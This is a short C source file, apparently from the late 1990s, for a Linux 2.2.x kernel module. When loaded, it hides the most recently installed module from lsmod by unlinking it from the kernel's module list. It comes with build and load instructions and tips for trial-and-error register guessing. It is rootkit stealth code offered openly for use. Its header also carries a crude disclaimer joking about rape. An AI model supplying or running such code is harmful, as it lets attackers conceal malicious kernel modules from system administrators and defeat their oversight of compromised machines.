/*
 * generic module hidder, for 2.2.x kernels.
 *
 * by Kossak (ldvg@rnl.ist.utl.pt || http://www.rnl.ist.utl.pt/~ldvg)
 *
 * This module hides the last module installed. With little mind work you can
 * put it to selectivly hide any module from the list.
 *
 * insmod'ing this module will allways return an error, meaning the module will
 * not stay installed. Run lsmod and see if it done any good. If not, see 
 * below, and try until you suceed. if you dont, then the machine has a weird 
 * compiler that I never seen. It will suceed on 99% of all intel boxes running
 * 2.2.x kernels.
 * 
 * The module is expected not to crash when it gets the wrong register, but
 * then again, it could set fire to your machine, who knows...
 *
 * Idea stolen from plaguez's itf, as seen on Phrack 52. 
 * The good thing about this is that on 2.2.x we dont need to hide the module
 * symbols, because a pointer to that list now exists only on the mp struct,
 * which is the one we're hiding.
 *
 * DISCLAIMER: If you use this for the wrong purposes, your skin will fall off,
 *             you'll only have sex with ugly women, and you'll be raped in
 *             jail by homicidal maniacs.
 *
 * USAGE: gcc -c krnhide.c ; insmod krnhide.o ; lsmod
 */


#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

int init_module(void) {

/*
 *  if at first you dont suceed, try:
 *  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp 
 */
  register struct module *mp asm("%ebx");
  
  if (mp->init == &init_module) /* is it the right register? */
    if (mp->next) /* and is there any module besides this one? */
      mp->next = mp->next->next; /* cool, lets hide it :) */
  return -1; /* the end. simple heh? */
  }